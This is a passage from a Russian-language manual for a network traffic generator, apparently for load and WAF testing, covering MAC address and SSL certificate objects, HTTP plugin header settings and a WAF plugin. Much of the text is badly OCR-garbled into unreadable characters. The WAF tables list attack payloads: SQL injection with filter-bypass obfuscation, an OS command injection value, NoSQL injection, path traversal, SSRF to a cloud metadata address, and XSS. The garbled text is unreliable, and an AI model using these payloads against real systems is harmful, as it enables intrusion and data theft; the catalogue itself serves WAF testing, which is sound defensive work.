
4) Manee, Ui CO3[aHUS CETH HEOOXOMMO HaXKaTh Ha KHOMKY «[IprMeHHTH.

5.2.3.2 Jo6aeneHue MAC-adpeca muna «nosy4amersisi»

J51g Toro, 4TOOBI CO3AaTh OOBEKT TUIIA «IIOJTyYaTeNs» HEOOXOAUMO:

1) Tlepeiitu B pazaen AreHt u cetn — MAC-aapeca;

Jlucm
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2) [Manee Haxats Ha kKHONKY «+ Co3gate MAC-aapec» (cMm. Puc. 5);

3) 3anoJHUTH OIS, ONTUCAHUE KOTOPBIX Haxomutcs B Tabm. 7.

Tada. 7 — IMoas aas co3nanus oobekta «MAC-anpeca» THNIA «OTHPABUTEIb)

HazBanmue

Onucanmne

3HauyeHue

Haszsanue MAC-
azipeca

HazBanme oOBeKTa, KOTOpOE

UCIIOJIB30BATHCA B HaCTpOfIKaX IIJIariHOB

Oynmer

3amomauTh HazBanue MAC-angpeca

Tun MAC-
ajipeca

OTmpaBuTENb — JAaHHEIH O0BEKT OyIeT
UCIIONB30BATHCS B IUIaTrMHAX TeHEPAuH
TpaduKa KaKk «OTIPABUTEIIb
[Nomyyarens — maHHBIH 00BEKT OyeT
UCIIONB30BATHCS B IUIaTrMHAX TeHEPAuH
Tpaduka kak «IlosrydaTensy

[Tonyuarens

MAC-anpec

3nauenne MAC-anpeca, koTopoe Oyaet
UCIIONIb30BaThCSl B KAYECTBE
«OTIPABUTEIISI» NPU OTIPABICHUH MaKETa.

B 510 mone BBomuTCsa 3HaueHne MAC-
ajJpeca yCTpoiCcTBa B CTaHJAPTHOM
¢dopmare (Hanpumep,
AB:CD:EF:12:34:56)

4) Manee, 1uisi CO3[aHUS CETH HEOOXOIMMO HaXKaTh Ha KHOMKY «[IprMeHHTHY.

5.2.1 SSL-cepTucukaTtbl

SSL-cepTudukaTh

oOecnecucHus 3aIUIIEHHOTO COCAUHECHHUS MCKAY arCHTaMMu.

9T0 1HMQPOBBIE CEPTHPHUKATEHI,

KOTOPBIC HCIIOJIB3YIOTCA

Jist Toro, 9TOOBI co3aaTh 00BeKT THMA "SSL-cepTrdukaT” HE0OX0TUMO:

1) TIlepeiitu B pa3nen AreHt u cetn — SSL-cepTUHKATEI;

2) Jlanee HaxkaTh Ha KHONIKY «+ JloOaBuTh CepTuduxary (cMm. Puc. 6);

SSL-cepTudukarbl

ATEHTDI

CETH MAC-ALPECA

Puc. 6 —Ilepexon B pazgen SSL-

cepruuKaThI

3) 3anoJHUTH MO, ONTUCAHUE KOTOPBIX HaxoauTces B Ta0m. 8.

Taoa. 8 — Iloas s co3ganus oobekta «MAC-anpeca» THIIA «OTHIPABUTEIb)

JUISL

HasBanue Onucanne 3HaveHue
Haspauue SSL- Ha3Banme oObekTa, KoTOpoe Oymer | 3amomHUTh Ha3BaHHe SSL-cepTrdukaTa
ceprngpukara HCTIOJTB30BaTHCS B HACTPOUKAX MJIATHHOB
[TyGmuunbIit [TyGmuuHBII KII0Y — OTKpBITas 4aCTh 3anoyHUTE MO COTTIACHO BalleMy
KITFOY KITIOYEBOI1 Mapbl, NCIOIB3YeTCs IS cepTuduKary
i poBaHUS TaHHBIX U IPOBEPKU
nu(ppOBOH OIIHCH

Nsm.

Jlucm
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IIpuBaTHbII [IpuBaTHBIN KIIIOY — CEKpETHAas 4acTh 3anoJHUTE M0JIs COTJIACHO BalleMy
KITIOY KITFOYEBOH MMaphl, UCTIONB3YETCS IS ceprudukary

pacmudpoBKH TaHHBIX U CO3AAHUS
IU(pPOBON TOIIHCH.

4) Manee, 1uisi CO3[aHUS CETH HEOOXOMMO HaXKaTh Ha KHOMKY «[IprMeHHUTH.

5.3 Hacmpolka «3ada4u»

3a;[aq1/1 — OTO HHCTPYMCHTBHI JIsI TCHCpaAlUH Tpa(bmca C HCIIOJIB30BAHUECM PA3JIMYHBIX

IIJIariHOB.

Jlst mactpoiiku [lepecBeT-CT aiis npoBeaeHus reHepanun Tpaduka HeoOX0IUMO:

1) Hcnone3ys moboii BeO-0paysep, moaKIounThes kK Beo-untepdeiicy Ilepecser-CT.

2) Tlepeiitu B pazaen 3agaun — HoBasi 3anaua (Puc. 7).

System Trace

3apauu

Q Mouck

Puc. 7 —Ilepexon B pazaen 3axaum

3) Bsiopars [lmarun: <uazeanue Ilnacuna>.

5.3.1 HacTtpomnka nnaruHa KnmMeHTCKOM KOHdurypaumm

[InaruH KJIMEHTCKON KOHQUIYpalluu — MHCTPYMEHT, NpeIHa3HayeHHBbIH JUIsl BbIOOpa THIa

OIIPEIENIEHHOT0 TEHEPUPYEMOT0 TpadhuKa.

5.3.1.1 HTTP

HTTP — nnarus /u1g reHepanuu pa3inyHoro Beo-Tpaduka.
JIaHHBIN IUIArWH COCTOUT U3 CIEAYIOUIUMX apaMeTPOB:

a) VICTOYHMKM — COBOKYMHOCTh M3 BbIOpaHHOro areHTta, mHTepdeiicoB u MAC-
aJipecoB C KOTOPBIX areHT OyAeT OTHPaBIATh U MpUHUMATh Tpaduk. OnucaHue napameTpoB

yka3aHsl B Taoim. 9;

Ta6a. 9 — [Mapamerpsnl «AcToOUHNKN

HaszBanme Onucanmne 3HaueHmne

ATeHT AreHT, C KOTOpOro OyneT OTHpaBisATbCsS | BriOepere areHT M3 criMcKa areHTOB

TpaQUK M C KOTOpBIM Oyner NpHHUMATh

Tpaduk.

Jlucm
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CereBoii CereBoii mHTepdelic areHTa, ¢ KoToporo | Breibepete unTepdeiic u3 CIHCKa
nnrepetic OyaeT OTHpaBiATECA TPaDHK M ¢ KOTOpBI | HHTEpdeiicoB

OyneT npuHUMaTh Tpaduk
CeTb Bei6pannsie 06bekT «CeTu» (CM. 3aroiioBok | Beibepere o00bekr «CeTH» U3  CIHCKA

5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOTO

6y[lyT HUCIIOJIB30BaThCA  JJIsA OTIIpaBKU

Tpaduka. Ecnm BbiOpaHo Oosiee OIHOTO
00BEKTa, MOYKHO M3MEHUTD IAPAMETP «BECH,
OTBEYAIOIITUI 3a 0amaHCHPOBKY

pacnpeneneHus MIaKETOB MEXIY

BEIOpaHHBIMU O0O0BekTaMu «CeTm».

00beKTOB. 3asaiite Bec (10 YMOIYaHUIO, BEC
pacnpenenseT paBHOMEPHO MHaKEeThl MEXTY

oobekTamu «Cetny)

6) Llenu — mapameTpsl A7s BIOOpa 00BEKTA, B KOTOPBIN OyIeT HapaBIAThCA Tpahuk

(cm .3aronoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHne
Liens Briopannbie 00bekT «Cetu» (cM. 3aronoBok | Beioepere o0bekr «CeTtu» U3 CcIHCKa
5.2.2.3) mapaMeTpbl  KOTOPOro  OYyAyT | OOBEKTOB.

UCIIONIb30BAThCsl JUIA OTIPaBKH Tpaduka B

BBIOpaHHYIO LETIb.

B) IP 3aronosok (L3) — mapametpsr HacTpoek IP 3aronoskos Ha yposue L3 TPC/IP,

oIMcaHue KOTOPHIX yka3aHbl B Taom. 10,

Taoa. 10 — IMapamerpsl «IP 3aromoBok (L3)»

Ha3panue Onucanne 3HayeHne
TTL (Time to | [Tapamerp TTL ompenensier MakcuManbHoe | 3amgaiite YHUCJIOBOE 3HAUEHUE (o
Live) KOJINYECTBO  MAapIIPYTH3aTOPOB  (XONOB), | yMONIYaHMIO, 3HadeHue 1L  sBasercs:
yepe3 KOTOpble MOXeT npoWTu maker | «128»)
JIAHHBIX, TIPEX/Ie YeM OH OyJeT OTOpOIIeH.
ToS (Type of | DSCP — »sto nose B 3aronoske IP-makera, | 3amaiite YHCIIOBOC 3HaYCHUE (o

Service)

KOTOPOC HUCHOJIB3YCTCA sl OHpEACICHUA

npropuTeta u 00paboTKu Tpadpuka

yMmourdanuio, 3Hauenne DSCP siBnstercst: «7»)

ECN — 310 MexaHH3M, KOTOPBIH O3BOJISET
MapuipyTU3aTopaM yBEJOMIIITH Y3IBl O

neperpyskax B ceTu 0e3 cOpoca ImakeToB.

Bribepere 3HaueHNE U3 CIIHCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))
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r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3aromoskos Ha yposue L4 TPC/IP,

OMHCaHue KOTOPhIX yKa3aHbl B Tabn. 11;

Taon. 11 — IMapamerpsl «TCP 3aronoBok (L4)»

Ha3panue Onucanne 3HaveHue

Max. Segment Size | MakcuManbHBINA pa3Mep cerMeHTa | 3ajaiiTe YHUCIOBOE 3Ha4eHHe (110

(MakcumarbHeLi PasMep | onpenenser MaKCHMaJIbHBIH | YMOJYaHWIO, 3HaueHue  Max.

CerMeHTa)
00bEM JIIaHHBIX, KOTOpBI MoxeT | Segment Size sBistercs: «1460»)
ObITh Tepean B omHOM TCP-
CerMeHTe

WS (IP Options) IMapamerp WS (Window Scale) | 3anaiite uucioBoe 3HaueHue (110
OTHOCHTCS K MEXaHU3MY | YMOJYaHUIO,  3Ha4YEHHE WS
MacmrabupoBanuss okHa TCP, | sBisercs: «64»)
KOTOpBIA MO3BOJISIET  YBEJIUYUTH
pasMep OKHa /sl yNpaBJCHUS
MTOTOKOM JaHHBIX.

Window Size (Pa3mep okHa) Pasmep oxkma TCP ompenenser | 3amaiite 4mcioBoe 3Ha4YeHHE (IO
00bEM JIaHHBIX, KOTOPBI MOXET | yMon4aHuio, 3HadeHnne Window
ObITh OTHpaBiieH 0Oe3 oxunaHus | Size sBISAETCS: «256%)
MIOJTBEPIKACHHS OT MOJTyqaTelIs.

n) Ilapamerpsr HTTP - mapamerpst HacTpoek HTTP 3aronoBkoB Ha ypoBHe L6-L7

TPC/IP, onrcanue KOTOphIX yKaszaHo B Tabm. 12;

Ta6a. 12 — INapamerpsl «Ilapamerpst HTTP»

HaszBanue Onucanue 3Hauenue

HTTPs ‘YkasbIBaer, UCIIOJIb3YETCS mu | la / Her (ykaxuTe Tekyllee COCTOSHHE
3alUIIEHHBIA  TPOTOKONT  TIEpeaudl | MepeKIouaresieM TyMmoaepa)
nanaeix HTTPS

Bepcust TLS | Bepcus TLS (Transport Layer Security) | Beibepere 3nagenne TLS v1.2 mwmm TLS v1.3
ompenensier NPOTOKON MIH(POBaHMS,
UCIIONB3YEMBbI Uit o0ecreyeHus
0e30macHOi Tepenayn JaHHBIX MEXTY
KJIMEHTOM u cepBepoM
(ITapametp nocTyneH, eciu mnapaMmeTp
HTTPs BxiroueH)

Bepcus VYkaspBaer Bepcuto mpotokona HTTP, | Beibepere 3nauenne HTTP 1.1 wim HTTP 2.0
HTTP WCIOJIB3YEMYIO JIJIS IepeAayun JaHHbIX.
User-Agent 3aroyioBoK, KOTOpBIN uaeHTHGHIUpYyeT | BBenure 3HaueHHe 3arojoBKa:
KIIMEHTCKOE  MPHIIOKEHUE  (HArpuMep, ® [0 YMOJYaHHWIO, 3HAYCHHEM 3aroBOJIKa
Opaysep) u OMEPALMOHHYIO CHCTEMY, C seusiercs:  «Mozilla/5.0 (Windows NT
KOTOPO#i OCYIIECTBISETCA 3ampOC. 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/133.0.0.0
Safari/537.36»

${userAgent} - OGecmeunBaer porammio User-
Agent: UIsI  KaXIOTO 3ampoca  BeIOHMpaeTcs
CITydaiHBIN BaJHUIHBINH BapHaHT U3 CIHCKA B BeO-
uHTEpdeiice
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Iyts VYka3piBaeT MyTh K 3amparimuBacMoMy | Beemute 3HadeHme mnyTH (10  yYMOJIYAHHIO,
pecypcy Ha cepBepe. Oto dacth URL, | 3HaueHHWe MyTH SIBISETCS KOPHEBAs IHPEKTOPHUS
KOTOpas CIeyeT 3a JOMCHHBIM HMEHEM. | cepBepa: «/»)

HTTP meron | Meton, wucmonp3yeMblii Uit 3ampoca | BeiGepeTe u3 ClieAyIOmero CimucKa:

pecypca Ha cepsepe.

e GET

e POST

e PUT

e PATCH
e DELETE

HTTP craryc

Onmus, oTBeYaromas 3a OTCIICKUBAHUE
nepeaapecalui CECCUU B CTOPOHY LIEJH.
Ecnu onmust BKIIOYEHA: BCE OTBETHBIE
3ampochkl cojepKalre ko orsera 3XX
OynyT oTpaboTaHbl U ceccusi BMECTe C
MOCJCAYIONMM TpahUKOM B paMKax
9TOM ceccun OyneT MepeHalpaBieH B
Lenb,  yKa3aHHYHd B 3aroJIOBKE
«location»

BKITFOYHTE/BBIKITIOYHTE TyMOIIEp

HTML Meta
Refresh

OHI_[I/ISI, OTBC€Yaromasa 3a OTCJICKHWBAHUC
nepeaapecanum ceCCMu B CTOPOHY LICTIA.

Ecnm ommus BKIIOYEHA: BCE OTBETHBIC
3anpockl, cogepxamnue B oreere HTML
cTpanuily ¢ meta-rerom «refreshy 6ymyr
OoTpabOTaHBl M CecCHsi BMeCTe C
HOCTEAYIOMHUM TpahUKOM B paMmKax
9TOH ceccuu OyAeT INepeHanpaBjieH B
Henb,  yKa3aHHYl0O B  3arojioBKe
«content», BKiIro4ast 3a€pKKY

BKITIOYNTE/BBIKITIOUNTE TYMOIIEP

I'my6una

3HayeHHE MAaKCHMAaJIbHO JOMYCTHMOIO
KOJIMYECTBA TMepeaapecalii B paMKax
oxuou TCP ceccun

3ajaiiTe CcBOe 3HAYECHHE
3Ha4eHue paBHO «20»)

(mo  ymom4aHwuIo,

Query

napameTpsl

ITapametpel, nepemaBaembie B URL
nocJe 3Haka Borpoca (?)

BBeante 3HaueHuwe mocie
«J106aBUTH TApaMETPBI»:

Ha)XaTusd KHOIIKH

e  BaeauTte cBoe 3HaUCHHUE

o  ${str(length)} - DopmupyeT
MPOU3BOJIHYO KOMOWHAIMIO CHMBOJIOB
3ajanHoM 1muHEl (pumep: ${str(16)})

e ${strMinMax(min_length,max_length)}
- Dopmupyer MIPOU3BOJILHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B

YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - DopMupyer
NPOU3BOJIHYKO KOMOWHAIMIO CHMBOJIOB
3aIaHHOM [UTHHBI B IIECTHAAATEPHIHOM
dopmare (pumep: ${hex(16)})

o  ${hexMinMax(min_length,max_length)}
- DopmupyeT NPOU3BOJIEHYIO
KOMOWHALIHIO CHMBOJIOB B
IICCTHALATEPUIHOM bopmare B

YKa3aHHBIX npenenax (mpumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyer BanuaHbIH email
CO CIy4YaifHbIM UMEHEM IOJIb30BaTeIsl U
JOMEHOM
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${login} - dopmupyeT BaaMIHbIN JOIHH
MOJIL30BATENS

${password}- dopmupyer BanHAHBIH
[apOoJTh TI0JIB30BATENS

Teno 3ampoca

Yacte HTTP-3ampoca, coxeprxamias
JIaHHBIE, KOTOpbIE KIMEHT OTIPaBISAET
cepBepy (Hanpumep, popmy mwin JSON)
ITapameTp nocTymeH eciau BBIOpaHBI
metonsl: POST, PUT unn PATCH

3aroaHuTE I10J€e

«TEJIO 3arpocay CICAYHIIUM

o0Opazom:

BBemute 3HaUeHME TEIO 3ampoca
${str(length)} - dopmupyer
MIPOM3BOJIBFHYI0 KOMOWHAIIMIO CHMBOJIOB
3amanHo# muHb (pumep: ${str(16)})
${strMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOWHAIIMI0O CHMBOJIOB C [UIMHOW B

YKa3aHHBIX npenaenax (mprmep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
TIPOM3BOJIEHYIO KOMOWHAIIMIO CHMBOJIOB
3a/IaHHOM [UTHHBI B IIECTHAAIIATEPHIHOM
dopmare (pumep: ${hex(16)})

${hexMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIEHYIO
KOMOWHAIIHIO CHMBOJIOB B
IIECTHAAIATEPUIHOM (dopmare B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyeT BamMAHEIN email
CO CIydYaifHBIM HMEHEM IMOJIb30BATEIsI U
JIOMEHOM

${login} - ®opMupyeT BaIUAHBINA JOTHH
HOJIb30BATEIISI

${password}- dopmupyer BaNHAHBIH
[apoJIb MMOJIB30BATEIS

3aroJjloBKu

JlononHuTenbHbie
OTIIPABJISICMBIC
3aIpOCOM.

METaJlaHHbIE,
Bmecte ¢ HTTP-

Beemure

3HAYCHUEC TIOCJIC HaXaTusd KHOIIKH

«J1006aBUTH MapamMeTphi»:

Beemure cBOE 3HaUEHUE

${str(length)} - dopmupyer
TIPOM3BOJIEHYIO KOMOWHAIIMIO CHMBOJIOB
3ajanHoi 1muHEl (pumep: ${str(16)})
${strMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIMIO CHMBOJIOB C JUIMHOH B

YKa3aHHBIX npenenax (mpumep:
${strMinMax(16,24)})

${hex(length)} - Dopmupyer
MPOM3BOJIbHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHO JUIMHBI B IIECTHAIIATePUIHOM
dopmare (npumep: ${hex(16)})
${hexMinMax(min_length,max_length)}
- dopmupyer MPOM3BOJILHYIO
KOMOWHAIIHIO CHUMBOJIOB B
[IECTHAAATEPUIHOM tdopmare B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyer BanuaHbI email
CO CIIy4allHBIM MMEHEM MOJIb30BaTelNs U
JIOMEHOM
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${login} - dopmupyeT BaaMIHbIN JOIHH

IIOJIB30BATCIIA

${password}- dopmupyer BanHAHBIH

IIapoJib IOJIb30BATEIIA

e) IlapameTpsl ceccun - mapaMeTphbl, Kacarolluecs yIPaBICHUs] CECCUIMU B PaAMKax

TEKYIIETro IJIarvHa, olucaHue KOTOpbIX ykazano B Tabn. 13;

Ta6u. 13 — Ilapamerpsl «IlapamMeTpbl ceccum»

BOCCTAaHOBICHO B YyKa3aHHBIA IIEPHOL,
ceccust OyAeT 3aKphITa.

HazBanmue Onucanmne 3HaueHnmne
Oo6ee MaxkcuManbHOE KOIHIECTBO OHOBPEMEHHO | 3amaiiTe YHCIOBOE 3HAUCHUE
KOJIMYECTBO aKTUBHBIX CECCHH, KOTOPBIE MOTYT OBITH
ceccuit YCTaHOBJICHBI B paMKaX IUIarvHA.

Taim-ayT Bpems B cexyHmax, B TedeHHE KOTOPOTo | 3amaifiTe 4MCIOBOE 3HAUCHUE
IIOBTOPHOT'O [Tepecetr-CT oyzaer NBITAThCS
MO IKJTFOYEHHS BOCCTAHOBHUTH COEIMHEHHE IIOCIIE €TI0

paspeBa. Ecmum coenmHenme He Oyzaer

ITonximroueHuii B
CEeKyHIY

MaxkcuManbHOEe KOJMYECTBO HOBBIX CECCHI,
KOTOpBIE MOTYT OBITh YCTAaHOBJICHBI 32 OJHY
CeKyHIY.

3ajaiiTe UMCI0BOE 3HAUCHUE

Makc. cTpuMOB
(Ha ceccuro)

MakcuMaabHOE€ ~ KOJIHWYECTBO  ITOTOKOB
JAHHBIX, KOTOPBIE MOTYT OBITh aKTUBHBI B
OJTHOM CECCHHU.

3agaiiTe YUCIOBOE 3HAUYEHUE

[Tapamerp  JOCTYNEH  TONBKO  IIPU

BkitoueHnu H2 B «[lapamerpax HT TP».
Tymbnep  «be3 | MakcuMaiibHasi MPOU3BOAUTENBHOCTh 0€3 | BKIFOYHTH/BBIKIHOYHTD
OTpaHUYCHUS OTpaHMYEHUH Ha KOJ-BO OTIPABIISEMBIX

3aIPOCOB B CEKYHAY
3anpocoB B | MakcuManbHOEe — KOJIMYECTBO  3alpoCoB, | 3ajaiiTe YMCIIOBOE 3HAUCHUE
CEKYHIY (Ha | KOTOpPBIE MOTYT OBITH O00pabOTaHEI B
CECCHIO) CEKYHAY ISl OJJTHOW CECCHH/CTpHMA.

WurepBan mexay
OTIPaBKOM
3aIpocoB

Onnusa mMo3BOISIET HACTPOUTH  3aAEPIKKY
MEXJAy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aMpoCOB B CEKYHIY.

3ajiaiiTe YMCI0BOE 3HAUCHUE

)K) Z[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI IJ1aruHa, OnucCaHue

KOTOporo ykazano B Tabm. 14.

Ta6a. 14 — Ilapametp «lauTeabHOCTH»

Ha3panue Onucanne 3navenue
JnurenbHOCT Bpewms reaepanun Tpaduka 3anaiiTe 4nciOBOE 3HAYCHHWE M BHIOEpETe
TeHepanun BEIMYUHY (B CEKyHIaX, MHUHYTaxX WIH
gacax)

WAF — nnarus ass reHepaiyy pa3indyHoro Bed-Tpaduka ¢ 3aJaHHBIMU YA3BUMOCTSMU.
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JIaHHBIN IUIATMH COCTOUT U3 CIEAYIONIUX MapaMeTPOB:

a) VcTOYHMKM — COBOKYITHOCTh W3 BBIOpaHHOTO areHrta, mHrepdeiicoB u MAC-

aJIpecoB C KOTOPBIX areHT OyAeT OTIPaBIATh M MPUHUMATh Tpaduk. Onucanue mapameTrpoB

ykazanbl B Tabu. 15;

Ta6a. 15— IapameTpol «ACTOUHHKN

HaszBanmue Onucanue

3HaueHne

ATEHT ATreHT, ¢ KOTOporo OyZeT OTIpPaBIATbCA

Tpaduk M C KOTOpHIM OyAeT NpHHUMATH

B1>16epeTe arc¢HT M3 CIITMCKa ar¢HTOB

5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOTO
OyoyT HCIOJB30BAaThCS UL OTIPABKH
tpaduka. Ecnum BbIOpaHo Oonee 0OJHOTO
00BEKTa, MOKHO U3MEHHUTH APAMETP «BECY,
OTBEYAOIIHIA 3a OaaHCUPOBKY
pacmpeneeHust [IaKETOB MEXIy

BBI6paHHBIMI/I o0bekTaMu «CeTH».

Tpaduk.
CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CHHCKa
unTepdeic OyzmeT oTmpaBiATECS TpadUK M C KOTOPBIH | MHTepdeicoB

Oyzet mpuHUMATh Tpaduk
CeTb Briopannbie 00bekT «Cetn» (cM. 3aroioBok | Beioepere o00bekr «CeTw» U3  CIUCKa

00BbeKTOB. 3aaiite Bec (0 yMOIYaHUIO, BEC
pacripesenseT paBHOMEPHO MaKEeThl MEXIY

obbexTamu «Cetny)

6) Llenu — nmapameTpsl A7 BbIOOpa 00BbEKTA, B KOTOPBIN Oy1eT HanpaBiaThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3Banmue Onucanne

3nauenue

Llenb Bribpannsie 06bekT «CeTn» (CM. 3arojI0BOK
5.2.2.3) mapaMeTpbl  KOTOpOro  OyAyT
UCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOPAHHYIO LIEb.

Bribepere o00BexT «CeTw» W3 CIHCKa

00BEKTOB.

B) IP 3aronoBok (L3) — mapametpsr HacTpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OIMcaHue KOTOPHIX yka3aHbl B Tabn. 16;

Ta6a. 16 — Ilapametpsl «IP 3aroosok (L3)»

Ha3Banmue Onucanmne

3uauenue

TTL (Time to ITapamerp TTL omnpenensier MmakcumanbHOE
Live) KOJIMYECTBO  MAapIIPyTH3aTOPOB  (XOIIOB),
yepe3 KOTOpbIE MOXET IPOWTH MaKeT

JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

3anaiite YHCIIOBOE 3HaYCHNE (o

yMmoiuanuio, 3Haduenne TTL  sBusercs:

«128»)
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ToS (Type of
Service)

DSCP — »T0 monie B 3arosioBke IP-makera,
KOTOPOE MCIOB3YETCSI IS OTPEICIICHHUS
npropuTeTa u 00padoTku Tpapuka

3anaiite unciIoBOE 3HAUCHHUE (I10
ymosryanuto, 3naueane DSCP sBasercs:
«7»)

ECN — 3T0 MexaHU3M, KOTOPBI TO3BOJISIET
MapIIpyTU3aTopaM yBEeJOMIISITh y3JIbl O
neperpyskax B ceTH 0e3 cOpoca makeToB.

Bribepere 3HaueHHE U3 CIIHCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

r) TCP 3aronoBok (L4) — mapamerpsl HacTpoek IP 3arosioBkos Ha yposae L4 TPC/IP,

OIMCaHue KOTOPHIX yka3aHbl B Tabn. 17,

Ta6a. 17 — Ilapamerpsi «TCP 3aromoBok (L4)»

Hazsanue Onucanne 3HaveHue
Max. Segment Size | MakcuManbHBIH pasMep cerMenta | 3aaiTe YHCIOBOC 3HAYCHHE (IO
(MakcumManbHblit pasmep | ompenensier MAKCUMATBHBI | yyiomapmo,  smauenne  Max.
CETMEHTa) 00bEM IIaHHBIX, KOTOPBIA MOXET

ObITh mepegan B omHoM TCP-
CeTMEHTE

Segment Size sBisercs: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOPBII IO3BOJISIET  yBEIHUYHUTH
pasMep OKHa Al yNpaBICHUs
MTOTOKOM JaHHBIX.

3amaiiTe YuCIOBOE 3Ha4YeHHE (ITO
YMOJTYaHHUIO, 3HAYEHUE WS
SIBIISIETCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM [aHHBIX, KOTOPBIA MOXET
OBITh OTIpaBICH 0e3 OXHIaAHHS
MOJITBEPIKACHHS OT MOJTYYATEIsL.

3anaiite uMciIoBOe 3HaueHHE (T10
yMo4aHuo, 3HadeHue Window
Size sBisieTcs: «256»)

n) Ilapamerpsr HTTP - mapamerpst HacTpoek HT TP 3aronoBkoB Ha ypoBue L6-L7

TPC/IP, onrcanue KOTOphIX yka3zaHo B Tabm. 18;

Ta6u. 18 — Ilapametps! «Ilapamerpst HTTP»

Ha3panue Onucanne 3HayeHue

HTTPs Yka3pIBaeT, UCHodbp3yeTcs u 3amumieHHsit | Jla / Her (ykaxkure TeKyliee COCTOSHHE
npoTokol nepefaaun ganHbeix HTTPS nepeKIYaTeeM Tymoepa)

Bepcust TLS Bepcust TLS (Transport Layer Security) | Beibepere 3nauenue TLS v1.2 wau TLS v1.3
orpezenser TIPOTOKOJT muppoBaHus,
UCTIOJIb3YEMBIH JUIst obecrieueHns
Oe3omacHOi mepenayd  IJAHHBIX — MEXIY
KIIMEHTOM u cepBepoM
(ITapametp mocrynen, ecim napamerp HTTPS
BKJIIOUEH)

Bepcus HTTP | VkaseiBaer Bepcuro mnpotokoiga HTTP, | BreiGepere 3nauenne HTTP 1.1 wiu HTTP
WCTIONB3YEMYIO JUIS TIepelaur JaHHBIX. 2.0

User-Agent 3aroyioBoK,  KOTOpelii  mueHTH(uIMpyer | BBeanuTe 3HaueHMe 3arojoBKa:
KIMEHTCKOE  TPWIOXKEHHEe  (Hampumep, e 0  YMONYAGHMIO,  3HAYCHUEM
Opaysep) M OINEPAIMOHHYIO CHCTEMY, C 3aroBoska sBisercs: «Mozilla/5.0
KOTOPOH OCYILECTBIIIETCS 3apoc. (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML,
Jluecm
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like Gecko)
Safari/537.36»

e ${userAgent} - O6ecmeumBaer
poTaLuio User-Agent: JUIS
Ka)XJOro 3ampoca  BBIOMpaeTcs
CIy4JaiHbI{ BalMIHBIM BapuUaHT U3
crmcKa B BeO-uHTEpdeiice

Chrome/133.0.0.0

e) WAF Moaynu — rotoBbie BpEIOHOCHBIE 3aMPOCHI, COCTOSIINE U3 CIIEIYIOLIUX

BUJIOB TCCTUPOBAHUA:

bazoBoe TectupoBanne WAF, onncanue npuseneno B Tabmn. 19

Ta6a. 19 — INapamerpsl «ba3oBoe TectupoBanue WAF»

Ha3zBanue Onucanue 3HaveHue
Broken Access | 3anpoc na 3ampemienusiii | (GET /admin/delete_user?id=1)
Control yTh
Injection URL (SQLi) | SQL 8 URL ?id=1+union+select+1,2,3--
Eg‘gf")o“ JSON | SQL 5 JSON ({“user™ {“$ne™ null}})
Injection (Command) | OS Command (GET P?id=system(cd /var/jet && make &> /dev/null);)
Insecure Desing JSON noruka ({*“action”: “makeAdmin”, “user”: “guest”})
Security Misconfig 3ampoc Ha .git (Get /.git/config)
Outdated Components | Ys3sumsiii miariaa WP GET Iwp-

content/plugins/revslider/temp/update_extract/revslider/

Auth Failures

C noanenkoil TOKeHa

(Cookie: auth_token=invalid)

Data Integrity

®DelikoBbli JS

(GET /cdn/js/app.js?v=999999999)

Path Traversal

O6xo07 (aiios

(GET /?home=/ ../ ./ .1 .1 .])

SSRF JMROC B NOWANILIE | (feyrp: http://169.254.169.254/latestimeta-data})
XSS: Basic Bazosbrit XSS (<script>alert(xss)</script>)

XSS: Obfuscated O6¢ycumposannsiii XSS | (<scr<script>ipt>alert(xss)</scr<script>ipt>)
Bypass: SQLI with | SQLi ¢ URL-3uk0aHIOM ( q=%27%200R%201 %3D1-)

URL-encoding

E\r%s)lgirr]l:g Chunked | Chunked Encoding (Transfer-Encoging: chunked + encoded payloag)

[Iponsunytoe TectupoBanne WAF

— SQLi Advanced, onrcanue npuBeneHo B Taom. 20;

I'enepupyer necsatku pasHooOpaszHbix SQL-unbeknuii: ot mpocteix UNION SELECT no

o0dgycumpoBanHbix W Oaifmac-arak, Bkiaouyas Blind SQLi m Time-based SQLi. Tlposepsier
YCTOHYMBOCTB K CAMBIM U30ILIPEHHBIM MOMBITKaM 00xoaa punbtpanuun SQL
Tadn. 20 — IMapamerpnl « SQLiI Advanced»
HasBanue 3HayeHue
Basic UNOIN SELECT [?id=1+union+select+1,2,3--
Jluem
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http://169.254.169.254/latest/meta-data/

Comment-obfuscated UNION

[?id=1+un/**/ion+se/**lect+1,2,3--

Case-mised UNION

[?id=1+UnloN/**/SeLecT/**/1,2,3--

Double UNION-SELECT bypass

/?id=1+UNunionlON+SEselectLECT+1,2,3--

Vertical tab separation

[?id=1+uni%0bon+se%0blect+1,2,3--

Division error + hex payload

